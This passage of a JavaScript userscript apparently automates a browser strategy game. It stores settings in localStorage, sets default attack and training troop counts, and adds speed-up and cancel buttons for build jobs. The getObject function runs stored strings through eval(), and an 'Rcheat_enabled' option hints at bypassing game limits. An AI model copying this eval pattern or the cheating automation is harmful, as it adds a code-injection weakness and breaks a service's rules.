			}
		};
		/******************************** Buildings package **************************/

		/******************************** Data package *******************************/
		var Data = {
			log: [
				[],
				[]
			],
			defaults: {},
			saveTimer: 0,

			init: function(obj) {
				try {
					/* Saves defaults properties */
					Data.defaults.mergeWith(obj || {});
					for (var item_name in obj) {
						/* Checks if the object is already defined in the Data Object */
						if (typeof(Data[item_name]) == 'undefined') {
							/* Assign default object properties, if defined, otherwise an empty object */
							Data[item_name] = typeof(obj[item_name]) != 'undefined' ? cloneProps(obj[item_name]) : {};
						}
						/* Load the data stored, of the current item from localStorage */
						var stored_object = Data.getObject(item_name);
						/* Clean removed values from stored object ( max depth 2 ) */
						if (stored_object != null && typeof(stored_object) == 'object') {
							verboseLog('Clean Removed Vars from : [ ' + name + ' ]');
							stored_object.cleanRemoved(Data[item_name], 1);
						}
						/* Check if the default object is really an object */
						if (Data[item_name] !== null && typeof(Data[item_name]) == 'object') {
							/* Assign the properties of stored objeto into the default object, overwriting the values */
							Data[item_name].mergeWith(stored_object);
						} else {
							Data[item_name] = stored_object;
						}
					}
					Data.cleanRequestsStats();
					if (!Data.saveTimer) Data.saveTimer = setInterval(Data.save, 600000);
				} catch (e) {
					alert('This browser does not support LocalStorage\n\n' + e);
					return false;
				}
			},

			clearStorage: function(keep_map) {
				if (keep_map) {
					var temp_storage = {};
					var keys = getKeys(Data.defaults);
					for (var i = 0; i < keys.length; i++) {
						if (/(map|dynamic)/i.test(keys[i])) {
							var item_name = keys[i];
							temp_storage[item_name] = cloneProps(Data[item_name]);
						}
					}
				}
				localStorage.clear();
				for (var item_name in Data.defaults) {
					Data[item_name] = cloneProps(Data.defaults[item_name]);
				}
				if (keep_map) {
					var keys = getKeys(temp_storage);
					for (var i = 0; i < keys.length; i++) {
						var item_name = keys[i];
						Data[item_name] = cloneProps(temp_storage[item_name]);
						Data.setObject(item_name, Data[item_name]);
					}
				}
				consoleLog('localStorage Deleted!');
			},
			getObject: function(key) {
				var item = localStorage.getItem([SERVER_ID, USER_ID, key].join('_'));
				/*logit('load setting ['+SERVER_ID+', '+USER_ID+', '+key+' = '+item);*/
				return (item || '').charAt(0) === '{' ? JSON.parse(item || '{}') : eval(item);
			},
			setObject: function(key, value) {
				if (key == 'log') return;
				try {
					/*logit('save setting ['+SERVER_ID+', '+USER_ID+', '+key+' = '+JSON.stringify( value ) );*/
					localStorage.setItem([SERVER_ID, USER_ID, key].join('_'), JSON.stringify(value));
				} catch (e) {
					if (e === QUOTA_EXCEEDED_ERR || (e.code === 22 && e.name === 'QUOTA_EXCEEDED_ERR')) {
						verboseLog('Error save localstorage , ' + name + '=' + value + ', error=' + inspectObj(e, 8, 1));
						logit(translate('LocalStorage') + ' : ' + translate('Quota exceeded') + '! ' + translate('Please, delete the cache and persistent data in your browser'));
					}
				}
			},
			onUnload: function() {
				if (Data.saveTimer) clearInterval(Data.saveTimer);
				Data.save();
			},
			save: function() {
				verboseLog('Save Data in localStorage');
				Data.cleanRequestsStats();
				var keys = getKeys(Data.defaults);
				for (var i = 0; i < keys.length; i++) {
					var item_name = keys[i];
					Data.setObject(item_name, Data[item_name]);
				}
			},
			cleanRequestsStats: function() {
				if (!Data.stats.requests.ajax_type) return;
				for (var req_type in Data.stats.requests.ajax_type) {
					for (var i = 0; i < Data.stats.requests.ajax_type[req_type].time.length; i++)
						if (toNum(serverTime()) - Data.stats.requests.ajax_type[req_type].time[i] >= 3600) Data.stats.requests.ajax_type[req_type].time.splice(i, 1);
					for (var i = 0; i < Data.stats.requests.ajax_type[req_type].error.length; i++)
						if (toNum(serverTime()) - Data.stats.requests.ajax_type[req_type].error[i] >= 3600) Data.stats.requests.ajax_type[req_type].error.splice(i, 1);
				}
			},

			setDefaultValues: function(tab) {
				switch (tab) {
					case 'alliance':
						setAllianceDefaults();
						break;
					case 'attacks':
						setAttacksDefaults();
						break;
					case 'bookmark':
						setBookmarksDefaults();
						break;
					case 'jobs':
						setJobsDefaults();
						break;
					case 'multiple':
						setMultipleDefaults();
						break;
					case 'options':
						setOptionsDefaults();
						break;
					case 'search':
						setSearchDefaults();
						break;
					case 'spies':
						setSpiesDefaults();
						break;
					case 'waves':
						setWavesDefaults();
						break;
					case 'wheel':
						setWheelDefaults();
						break;
					case 'all':
						setAllianceDefaults();
						setAttacksDefaults();
						setBookmarksDefaults();
						setJobsDefaults();
						setMultipleDefaults();
						setOptionsDefaults();
						setSearchDefaults();
						setSpiesDefaults();
						setWavesDefaults();
						setWheelDefaults();
						break;
					default:
						break;
				}

				function setAllianceDefaults() {
					if (Seed.cities[CAPITAL.id].figures.marches.maximum && is_null(Data.options.alliance.auto.max_marches))
						Data.options.alliance.auto.max_marches = toNum(Seed.cities[CAPITAL.id].figures.marches.maximum);
				}

				function setAttacksDefaults() {
					for (var x = 1; x <= 11; x++) {
						if (!Data.options.attacks.units[x])
							Data.options.attacks.units[x] = {};
						/* check if troops have been entered. Is not, set to default */
						var exists = false;
						for (var j = 0; j < attack_unit_types.length && !exists; j++) {
							if (Data.options.attacks.units[x][attack_unit_types[j]] && Data.options.attacks.units[x][attack_unit_types[j]] > 0)
								exists = true;
						}
						if (!exists) {
							for (var j = 0; j < attack_unit_types.length; j++) {
								var num = 0
								switch (x) {
									case 1:
										switch (attack_unit_types[j]) {
											case 'Longbowman':
												num = 110;
												break;
											case 'ArmoredTransport':
												num = 25;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 2:
										switch (attack_unit_types[j]) {
											case 'Longbowman':
												num = 550;
												break;
											case 'ArmoredTransport':
												num = 50;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 3:
										switch (attack_unit_types[j]) {
											case 'Longbowman':
												num = 1050;
												break;
											case 'ArmoredTransport':
												num = 80;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 4:
										switch (attack_unit_types[j]) {
											case 'Longbowman':
												num = 2100;
												break;
											case 'ArmoredTransport':
												num = 100;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 5:
										switch (attack_unit_types[j]) {
											case 'Longbowman':
												num = 5500;
												break;
											case 'ArmoredTransport':
												num = 130;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 6:
										switch (attack_unit_types[j]) {
											case 'Longbowman':
												num = 11000;
												break;
											case 'ArmoredTransport':
												num = 150;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 7:
										switch (attack_unit_types[j]) {
											case 'Longbowman':
												num = 30000;
												break;
											case 'ArmoredTransport':
												num = 1000;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 8:
										switch (attack_unit_types[j]) {
											case 'FireTroop':
												num = 2500;
												break;
											case 'ArmoredTransport':
												num = 1000;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 9:
										switch (attack_unit_types[j]) {
											case 'FireTroop':
												num = 3000;
												break;
											case 'ArmoredTransport':
												num = 1000;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 10:
										switch (attack_unit_types[j]) {
											case 'FireTroop':
												num = 4000;
												break;
											case 'ArmoredTransport':
												num = 1000;
												break;
											default:
												num = 0;
												break;
										}
										break;
									case 11:
										switch (attack_unit_types[j]) {
											case 'FireTroop':
												num = 50000;
												break;
											case 'ArmoredTransport':
												num = 5000;
												break;
											default:
												num = 0;
												break;
										}
										break;
									default:
										num = 0;
										break;
								}
								if (num > 0) Data.options.attacks.units[x][attack_unit_types[j]] = num;
							}
						}
					}
					for (var x = 1; x <= 11; x++) {
						if (!Data.options.attacks.except_great_dragon[x])
							Data.options.attacks.except_great_dragon[x] = {};
						if (is_null(Data.options.attacks.except_great_dragon[x])) {
							for (var j = 0; j < Seed.dragonList.length; j++) {
								var dragon = Seed.dragonList[j];
								Data.options.attacks.except_great_dragon[x][dragon.type] = false;
							}
						}
					}
					if (Seed.cities[CAPITAL.id].figures.marches.maximum && is_null(Data.options.attacks.max_marches)) {
						Data.options.attacks.max_marches = Seed.cities[CAPITAL.id].figures.marches.maximum;
					}
				}

				function setBookmarksDefaults() {
					if (!Data.options.bookmarks.new_bookmark.dragons)
						Data.options.bookmarks.new_bookmark.dragons = {};
					if (is_null(Data.options.bookmarks.new_bookmark.dragons)) {
						for (var j = 0; j < Seed.dragonList.length; j++) {
							var dragon = Seed.dragonList[j];
							Data.options.bookmarks.new_bookmark.dragons[dragon.type] = false;
						}
					}
					if (Seed.cities[CAPITAL.id].figures.marches.maximum && is_null(Data.options.bookmarks.max_marches))
						Data.options.bookmarks.max_marches = toNum(Seed.cities[CAPITAL.id].figures.marches.maximum);
				}

				function setJobsDefaults() {
					/* Training initialization */
					var initDefault_units = all_unit_types;
					for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
						if (cityIdx != SPECTRAL_OUTPOST.id && cityIdx != SKY_OUTPOST.id  && cityIdx != LUNA_OUTPOST.id) {
							if (!Data.options.training.city[cityIdx]) Data.options.training.city[cityIdx] = {};
							if (!Data.options.training.city[cityIdx].units) Data.options.training.city[cityIdx].units = [];
							var exists = false;
							for (var tt = 0; tt < initDefault_units.length && !exists; tt++) {
								if (Data.options.training.city[cityIdx].units[tt] && Data.options.training.city[cityIdx].units[tt] > 0)
									exists = true;
							}
							if (!exists) {
								for (var tt = 0; tt < initDefault_units.length; tt++) {
									Data.options.training.city[cityIdx].units[tt] = 0;
									/* User defined initialization for units */
									/* Just change the troops number and activate the lines to have always the same settings when cleaning the cache */

									/* -Remove this line to activate-
							switch (initDefault_units[tt]) {
								case 'Porter'			: num = 0; break;
								case 'Conscript'		: num = 1000; break;
								case 'Spy'				: num = 2000; break;
								case 'Halberdsman'		: num = 3000; break;
								case 'Minotaur'			: num = 4000; break;
								case 'Longbowman'		: num = 2500; break;
								case 'SwiftStrikeDragon': num = 2000; break;
								case 'BattleDragon'		: num = 1150; break;
								case 'ArmoredTransport'	: num = 2000; break;
								case 'Giant'			: num = 1125; break;
								case 'FireMirror'		: num = 1000; break;
								case 'PackDragon'		: num = 1000; break;
								case 'DarkSlayer'		: num = 750; break;
								case 'DimensionalRuiner': num = 1000; break;
								case 'LightningCannon'	: num = 900; break;
								case 'ChargeTroop'		: num = 1250; break;
								case 'VengeWyrm'		: num = 1200; break;
								case 'AquaTroop'		: num = 1000; break;
								case 'StoneTroop'		: num = 1250; break;
								case 'FireTroop'		: num = 900;  break;
								case 'WindTroop'		: num = 1600; break;
								case 'IceTroop'			: num = 1400; break;
								case 'SwampTroop'		: num = 2000; break;
								case 'FrostGiant'		: num = 1125; break;
								case 'ForestTroop'		: num = 700; break;
								case 'DesertTroop'		: num = 1600; break;
								case 'ArcticLeviathan'	: num = 500; break;
								default : num = 0; break;
							}
							if (num > 0 && isTrainable (cityIdx, initDefault_units[tt])) Data.options.training.city[cityIdx].units[tt] = num;
							// */

								}
							}
							if (!Data.options.training.city[cityIdx].cap) Data.options.training.city[cityIdx].cap = [];

							var exists = false;
							for (var tt = 0; tt < all_unit_types.length && !exists; tt++) {
								if (Data.options.training.city[cityIdx].cap[tt] && Data.options.training.city[cityIdx].cap[tt] > 0)
									exists = true;
							}
							if (!exists) {
								for (var tt = 0; tt < all_unit_types.length; tt++) {
									Data.options.training.city[cityIdx].cap[tt] = 0;

									/* User defined cap initialization */
									/* Just change the troops cap and activate the lines */
									/* to have always the same cap settings when cleaning the cache */

									/* -Remove this line to activate-
							switch (all_unit_types[tt]) {
								case 'Porter'			: num = 10; break;
								case 'Conscript'		: num = 2000000; break;
								case 'Spy'				: num = 2000000; break;
								case 'Halberdsman'		: num = 2000000; break;
								case 'Minotaur'			: num = 2000000; break;
								case 'Longbowman'		: num = 2000000; break;
								case 'SwiftStrikeDragon': num = 500000; break;
								case 'BattleDragon'		: num = 500000; break;
								case 'ArmoredTransport'	: num = 0; break;
								case 'Giant'			: num = 500000; break;
								case 'FireMirror'		: num = 100000; break;
								case 'PackDragon'		: num = 0; break;
								case 'DarkSlayer'		: num = 1000000; break;
								case 'DimensionalRuiner': num = 100000; break;
								case 'LightningCannon'	: num = 100000; break;
								case 'ChargeTroop'		: num = 1000000; break;
								case 'VengeWyrm'		: num = 1000000; break;
								case 'AquaTroop'		: num = 1000000; break;
								case 'StoneTroop'		: num = 0; break;
								case 'FireTroop'		: num = 0; break;
								case 'WindTroop'		: num = 1000000; break;
								case 'IceTroop'			: num = 1000000; break;
								case 'SwampTroop'		: num = 1000000; break;
								case 'FrostGiant'		: num = 1000000; break;
								case 'ForestTroop'		: num = 1000000; break;
								case 'DesertTroop'		: num = 1000000; break;
								case 'ArcticLeviathan'	: num = 100000; break;
								default : num = 0; break;
							}
							Data.options.training.city[cityIdx].cap[tt] = num;
							// */
								}
							}
						}
					}
					/* Build initilization */
					for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
						if (!Data.options.building.level_enable[cityIdx]) Data.options.building.level_enable[cityIdx] = {};
						if (!Data.options.building.level_cap[cityIdx]) Data.options.building.level_cap[cityIdx] = {};
					}
					/* Research initialization */
					for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
						if (!Data.options.research.res_enable[cityIdx]) Data.options.research.res_enable[cityIdx] = {};
						if (!Data.options.research.res_cap[cityIdx]) Data.options.research.res_cap[cityIdx] = {};
					}
					/* Resurrection initialization */
					for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
						if (!Data.options.resurrect.res_enable[cityIdx]) Data.options.resurrect.res_enable[cityIdx] = {};
						if (!Data.options.resurrect.res_max[cityIdx]) Data.options.resurrect.res_max[cityIdx] = {};
						for (tt = 0; tt < all_unit_types.length; tt++) {
							if (!Data.options.resurrect.res_max[cityIdx][all_unit_types[tt]]) {
								Data.options.resurrect.res_max[cityIdx][all_unit_types[tt]] = 0;
							}
						}
					}
					/* Sanctuary dragons feeding initialization */
					if (!Data.options.sanctuary.feeding) Data.options.sanctuary.feeding = {};
					for (var i in Seed.sanctuary_dragons)
						if (!Data.options.sanctuary.feeding[i]) Data.options.sanctuary.feeding[i] = {
							enable: false,
							cap: 9
						};
				}

				function setMultipleDefaults() {
					if (!Data.options.multiple.target.dragons_1) Data.options.multiple.target.dragons_1 = {};
					if (!Data.options.multiple.target.dragons_2) Data.options.multiple.target.dragons_2 = {};
					if (is_null(Data.options.multiple.target.dragons_1)) {
						for (var j = 0; j < Seed.dragonList.length; j++) {
							var dragon = Seed.dragonList[j];
							Data.options.multiple.target.dragons_1[dragon.type] = false;
						}
					}
					if (is_null(Data.options.multiple.target.dragons_2)) {
						for (var j = 0; j < Seed.dragonList.length; j++) {
							var dragon = Seed.dragonList[j];
							Data.options.multiple.target.dragons_2[dragon.type] = false;
						}
					}
					if (Seed.cities[CAPITAL.id].figures.marches.maximum) {
						if (is_null(Data.options.multiple.max_marches))
							Data.options.multiple.max_marches = toNum(Seed.cities[CAPITAL.id].figures.marches.maximum);
						if (is_null(Data.options.multiple.max_secondary))
							Data.options.multiple.max_secondary = toNum(Seed.cities[CAPITAL.id].figures.marches.maximum);
					}
				}

				function setOptionsDefaults() {
					checkDelay();
				}

				function setSearchDefaults() {
					if (!Data.options.search.target.x || Data.options.search.target.x == 999) {
						Data.options.search.target.x = Seed.cities[CAPITAL.id].x;
						Data.options.search.target.y = Seed.cities[CAPITAL.id].y;
					}
					if (is_null(Data.options.search.target.alliance)) Data.options.search.target.alliance = '*';
					if (is_null(Data.options.search.target.player)) Data.options.search.target.player = '*';
					if (is_null(Data.options.search.target.distance)) Data.options.search.target.distance = 14;
					if (is_null(Data.options.search.sort_list)) Data.options.search.sort_list = '0';
					if (is_null(Data.options.search.min_level)) Data.options.search.min_level = 1;
					if (is_null(Data.options.search.max_level)) Data.options.search.max_level = 10;
				}

				function setSpiesDefaults() {
					if (Seed.cities[CAPITAL.id].figures.marches.maximum && is_null(Data.options.spies.max_marches))
						Data.options.spies.max_marches = toNum(Seed.cities[CAPITAL.id].figures.marches.maximum);
				}

				function setWavesDefaults() {
					if (!Data.options.waves.target.dragons) Data.options.waves.target.dragons = {};
					if (is_null(Data.options.waves.target.dragons)) {
						for (var j = 0; j < Seed.dragonList.length; j++) {
							var dragon = Seed.dragonList[j];
							Data.options.waves.target.dragons[dragon.type] = false;
						}
					}
					if (Seed.cities[CAPITAL.id].figures.marches.maximum && is_null(Data.options.waves.max_marches))
						Data.options.waves.max_marches = Seed.cities[CAPITAL.id].figures.marches.maximum;
				}

				function setWheelDefaults() {}
			}
		};
		/******************************** Data package *******************************/

		/******************************** Jobs package *******************************/
		var Jobs = {
			deleteJob: function(cityIdx, job) {
				var cid = Seed.cities[cityIdx].id;
				var jobs = Seed.jobs[cid];
				for (var p in jobs) {
					if (jobs[p] == job) delete jobs[p];
				}
			},
			getBuildingJob: function(cityIdx) {
				var cid = Seed.cities[cityIdx].id;
				for (var p in Seed.jobs[cid]) {
					var job = Seed.jobs[cid][p];
					if (job.queue == 'building') return ({
						job: job,
						building: Buildings.getById(cityIdx, job.city_building_id)
					});
				}
				return null;
			},
			getForgeJob: function(cityIdx) {
				var ret = [];
				var cid = Seed.cities[cityIdx].id;
				for (var p in Seed.jobs[cid]) {
					var job = Seed.jobs[cid][p];
					if (job.queue.endsWith('adventurer_mission'))
						ret.push(job);
					if(job.queue == 'repair_hammer')
						ret.push(job);
				}
				return ret;
			},
			getDefenseTowerHealing : function(cityIdx) {
				var cid = Seed.cities[cityIdx].id;
				for (var p in Seed.jobs[cid]) {
					var job = Seed.jobs[cid][p];
					if (job.queue == 'tower_healing') return ({
						job: job,
						building: Buildings.getById(cityIdx, job.city_building_id)
					});
				}
				return null;
			
			},
			getDefenseTowerJob: function(cityIdx) {
				var cid = Seed.cities[cityIdx].id;
				for (var p in Seed.jobs[cid]) {
					var job = Seed.jobs[cid][p];
					if (job.queue == 'build_tower') return ({
						job: job,
						building: Buildings.getById(cityIdx, job.city_building_id)
					});
				}
				return null;
			},
			getJobs: function(queue, get_first, city_Idx) {
				var ret = [],
					cityIdx = (city_Idx || CAPITAL.id);
				if (cityIdx >= 0 && Seed.cities[cityIdx]) {
					var cid = Seed.cities[cityIdx].id;
					if (cid) {
						for (var p in Seed.jobs[cid]) {
							var job = Seed.jobs[cid][p];
							if (job.queue == queue) {
								ret.push(job);
								if (get_first) return ret;
							}
						}
					}
				} else if (cityIdx == -1) {
					for (var city_idx = 0; city_idx < Seed.cities.length; city_idx++) {
						if (!Data.options.Rcheat_enabled && city_idx != CAPITAL.id && queue == 'research') continue;
						if (Seed.cities[city_idx] && city_idx != undefined && !isNaN(city_idx) && city_idx >= 0 && city_idx < Seed.cities.length &&
							((city_idx != SPECTRAL_OUTPOST.id && city_idx != SKY_OUTPOST.id && city_idx != CAVE_OUTPOST.id && city_idx != LUNA_OUTPOST.id && queue == 'research') || queue != 'research')) {
							var cid = Seed.cities[city_idx].id;
							if (cid) {
								for (var p in Seed.jobs[cid]) {
									var job = Seed.jobs[cid][p];
									if (job.queue == queue) {
										ret.push(job);
										if (get_first) return ret;
									}
								}
							}
						}
					}
				}
				return ret;
			},
			addSingleButton: function(itemId, type, nCell, jobId, tot) {
				if (!Data.options.jobs_speedups_enabled) return;
				nCell.innerHTML = '';
				nCell.title = translate(time_item_list[itemId].name) + ' x' + tot;
				var num = toNum(Seed.player.items[time_item_list[itemId].name]);
				var button = document.createElement('input');
				button.type = 'button';
				button.setAttribute('ref', time_item_list[itemId].name + '_' + jobId);
				button.value = time_item_list[itemId].text;
				if (num > 0) {
					button.disabled = false;
					button.className = UID['btn_green'] + ' thin';
					button.addEventListener('click', function(event) {
						var self = event.target;
						self.disabled = true;
						self.className = UID['btn_disabled'] + ' thin';
						logit('' + self.getAttribute('ref'));
						var ids = self.getAttribute('ref').split('_');
						var found = false;
						var confirmation = false;
						var jobs = Seed.cities[ids[1]].jobs;
						for (var x = 0; x < jobs.length && !found; x++)
							if (jobs[x].id == ids[2]) found = true;
						if (!found) return;

						for (var i = 0; i < time_item_list.length; i++) {
							if (time_item_list[i].name == ids[0]) {
								confirmation = time_item_list[i].confirmation;
								break;
							}
						}

						if (confirmation && Data.options.use_speedup_confirmation) {
							dialogConfirm(translate('Do you want to use [0] on this job').replace('[0]', translate(ids[0])) + ' ?',
								/* OK */

								function() {

									MyAjax.useItem(Seed.cities[ids[1]].id, ids[0], ids[2], function(r) {
										if (r.ok && r.dat.result.success) {
											if (r.dat.result.item_response) {
												itmResp = r.dat.result.item_response;
												if (/(units|dragon|building|build_tower|research|breeding|hatching|feeding|resurrection|trade|repair_hammer|water_outpost_adventurer_mission|capital_adventurer_mission)/.test(itmResp.queue)) {
													var found = false;
													var jobs = Seed.cities[ids[1]].jobs;
													for (var x = 0; x < jobs.length && !found; x++) {
														if (jobs[x].id == itmResp.id) {
															found = true;
															jobs[x].run_at = itmResp.run_at;
															jobs[x].duration = itmResp.duration;
														}
													}
													var job = Seed.jobs[Seed.cities[ids[1]].id][ids[2]];
													if (job) {
														job.run_at = itmResp.run_at;
														job.duration = itmResp.duration;
													}
												}
												var num = toNum(Seed.player.items[ids[0]]);
												if (num > 0) {
													button.disabled = false;
													button.className = UID['btn_green'] + ' thin';
												}
											}
										}
									});

								},
								/* Cancel */

								function() {}, true
							);
						} else {
							MyAjax.useItem(Seed.cities[ids[1]].id, ids[0], ids[2], function(r) {
								if (r.ok && r.dat.result.success) {
									if (r.dat.result.item_response) {
										itmResp = r.dat.result.item_response;
										if (/(units|building|dragon|build_tower|research|breeding|hatching|feeding|resurrection|trade|repair_hammer|water_outpost_adventurer_mission|capital_adventurer_mission)/.test(itmResp.queue)) {
											var found = false;
											var jobs = Seed.cities[ids[1]].jobs;
											for (var x = 0; x < jobs.length && !found; x++) {
												if (jobs[x].id == itmResp.id) {
													found = true;
													jobs[x].run_at = itmResp.run_at;
													jobs[x].duration = itmResp.duration;
												}
											}
											var job = Seed.jobs[Seed.cities[ids[1]].id][ids[2]];
											if (job) {
												job.run_at = itmResp.run_at;
												job.duration = itmResp.duration;
											}
										}
										var num = toNum(Seed.player.items[ids[0]]);
										if (num > 0) {
											button.disabled = false;
											button.className = UID['btn_green'] + ' thin';
										}
									}
								}
							});
						}


					}, false);
				} else {
					button.disabled = true;
					button.className = UID['btn_disabled'] + ' thin';
				}
				nCell.appendChild(button);
			},
			addSpeedUpButtons: function(table, tableid, jobtype, id) {
				var tot = 0;
				var mtClass = UID['row_marchMine'];
				for (var i = 0; i < time_item_list.length; i++)
					tot += toNum(Seed.player.items[time_item_list[i].name]);
				if (tot > 0) {
					iRow = table.insertRow(-1);
					iRow.className = mtClass;
					iCell = iRow.insertCell(-1);
					iCell.style.textAlign = 'left';
					iCell.style.width = '100%';
					iCell.setAttribute('colspan', '4');
					iCell.innerHTML = '<table id=' + setUID(tableid) + ' class=' + UID['table'] + '></table>';
					var jRow, jCell;
					jRow = document.getElementById(UID[tableid]).insertRow(-1);
					jRow.className = mtClass;
					for (var i = 0; i < time_item_list.length; i++) {
						var num = toNum(Seed.player.items[time_item_list[i].name]);
						if (num > 0 && Jobs.checkItemType(i, jobtype)) {
							jCell = jRow.insertCell(-1);
							jCell.style.textAlign = 'right';
							jCell.innerHTML = '&nbsp;';
							var type = 'N';
							if ((jobtype == 'jobs' && time_item_list[i].type.indexOf('J') == -1) ||
								(jobtype == 'units' && time_item_list[i].type.indexOf('T') == -1) ||
								(jobtype == 'resurrection' && time_item_list[i].type.indexOf('R') == -1)) type = 'C';
							Jobs.addSingleButton(i, type, jCell, id, num);
						}
					}
				}
			},
			checkItemType: function(item, chkType) {
				var type = time_item_list[item].type;
				if ((type.indexOf('T') >= 0 && chkType == 'units') ||
					(type.indexOf('R') >= 0 && chkType == 'resurrection') ||
					(type.indexOf('J') >= 0 && chkType == 'jobs')
				) return (true);
				else return (false);
			},
			updateBuildTable: function(table) {
				var now = toNum(serverTime()),
					idle_cities = [];
				var mtClass = UID['row_marchMine'];
				/* Clear table */
				for (var row = 0; row < table.rows.length; row++) {
					table.deleteRow(row);
					row--;
				}
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx]) {
						var options = {
							noPlayer: true,
							cities: []
						};
						var city = Seed.cities[cityIdx];
						var jobs = Jobs.getJobs('building', true, cityIdx);
						var jobsTD = Jobs.getJobs('build_tower', true, cityIdx);
						
						if (jobs.length == 0 && jobsTD.length == 0)
							idle_cities.push(cityIdx);
						else {
							if(jobs.length != 0) {
								var iRow, iCell;
								iRow = table.insertRow(-1);
								iRow.className = mtClass;
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
								var timeRemaining = ((jobs[0].run_at - serverTime()) > 0) ? timestr(jobs[0].run_at - serverTime()) : 0;
								if (timeRemaining == 0) {
									/*  If we have a job and the timeRemaining is negative or zero we delete the job
								and fetch the Seed - although this does not always work because the server
								is laggy and may not return the correct information */
									iCell = iRow.insertCell(-1);
									iCell.setAttribute('colspan', '3');
									iCell.innerHTML = translate('Awaiting task completion notification') + '...';
									Jobs.deleteJob(cityIdx, jobs[0]);
									if (Tabs.Jobs.buildStatFetch == false) {
										if (cityIdx != 0) options.cities.push(Seed.cities[CAPITAL.id].id);
										options.cities.push(city.id);
										Seed.fetchPlayer(options);
										Tabs.Jobs.buildStatFetch = true;
									}
								} else {
									iRow.setAttribute('ref', cityIdx + '_' + jobs[0].id);
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '35%';
									iCell.innerHTML = '<b>' + translate('Building') + ':</b> &nbsp;&nbsp;' + translate(jobs[0].city_building_type) + '  (' + jobs[0].level + ')';
									/* Building cancel Button */
									iCell = iRow.insertCell(-1);
									iCell.style.width = '10%';
									var button = document.createElement('input');
									button.type = 'button';
									button.setAttribute('ref', cityIdx + '_' + jobs[0].id);
									button.value = 'X';
									if (jobs[0].cancelled) {
										button.disabled = true;
										button.className = UID['btn_disabled'] + ' thin';
									} else {
										button.className = UID['btn_red'] + ' thin';
										button.addEventListener('click', function(event) {
											var self = event.target;
											self.disabled = true;
											self.className = UID['btn_disabled'] + ' thin';
											var ids = self.getAttribute('ref').split('_');
											var job = Seed.jobs[Seed.cities[ids[0]].id][ids[1]];
											if (job) {
												job.cancelled = true;
												var desc = translate(job.city_building_type) + ' ' + job.level;
												MyAjax.cancelTraining(ids[1], function(r) {
													if (r.ok && r.dat.result.success) {
														verboseLog(translate('Building job cancelled') + ' (' + desc + ')');
													}
												});
											}
										}, false);
									}
									iCell.appendChild(button);
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '25%';
									iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timeRemaining + '</font>';
									if (!jobs[0].cancelled && Data.options.jobs_speedups_enabled)
										Jobs.addSpeedUpButtons(table, 'tabJobsBuild_speedups_0', 'jobs', cityIdx + '_' + jobs[0].id);

									Tabs.Jobs.buildStatFetch = false;
									try {
										document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + jobs[0].city_building_type]).innerHTML = '<font color=#000>' + translate('Building') + ': ' + translate(jobs[0].city_building_type) + ' ' + translate('Level').toLowerCase() + ' ' + jobs[0].level + '</font>';
									} catch (e) {}
								}
								iRow = table.insertRow(-1);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '&nbsp;';
							}
							if(jobsTD.length != 0) {
								var iRow, iCell;
								iRow = table.insertRow(-1);
								iRow.className = mtClass;
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
								var timeRemaining = ((jobsTD[0].run_at - serverTime()) > 0) ? timestr(jobsTD[0].run_at - serverTime()) : 0;
								if (timeRemaining == 0) {
									/*  If we have a job and the timeRemaining is negative or zero we delete the job
									and fetch the Seed - although this does not always work because the server
									is laggy and may not return the correct information */
									iCell = iRow.insertCell(-1);
									iCell.setAttribute('colspan', '3');
									iCell.innerHTML = translate('Awaiting task completion notification') + '...';
									Jobs.deleteJob(cityIdx, jobsTD[0]);
									if (Tabs.Jobs.buildStatFetch == false) {
										if (cityIdx != 0) options.cities.push(Seed.cities[CAPITAL.id].id);
										options.cities.push(city.id);
										Seed.fetchPlayer(options);
										Tabs.Jobs.buildStatFetch = true;
									}
								} else {
									iRow.setAttribute('ref', cityIdx + '_' + jobsTD[0].id);
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '35%';
									iCell.innerHTML = '<b>' + translate('Building') + ':</b> &nbsp;&nbsp;' + translate(jobsTD[0].city_building_type) + '  (' + jobsTD[0].level + ')';
									/* Building cancel Button */
									iCell = iRow.insertCell(-1);
									iCell.style.width = '10%';
									var button = document.createElement('input');
									button.type = 'button';
									button.setAttribute('ref', cityIdx + '_' + jobsTD[0].id);
									button.value = 'X';
									if (jobsTD[0].cancelled) {
										button.disabled = true;
										button.className = UID['btn_disabled'] + ' thin';
									} else {
										button.className = UID['btn_red'] + ' thin';
										button.addEventListener('click', function(event) {
											var self = event.target;
											self.disabled = true;
											self.className = UID['btn_disabled'] + ' thin';
											var ids = self.getAttribute('ref').split('_');
											var job = Seed.jobs[Seed.cities[ids[0]].id][ids[1]];
											if (job) {
												job.cancelled = true;
												var desc = translate(job.city_building_type) + ' ' + job.level;
												MyAjax.cancelTraining(ids[1], function(r) {
													if (r.ok && r.dat.result.success) {
														verboseLog(translate('Building job cancelled') + ' (' + desc + ')');
													}
												});
											}
										}, false);
									}
									iCell.appendChild(button);
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '25%';
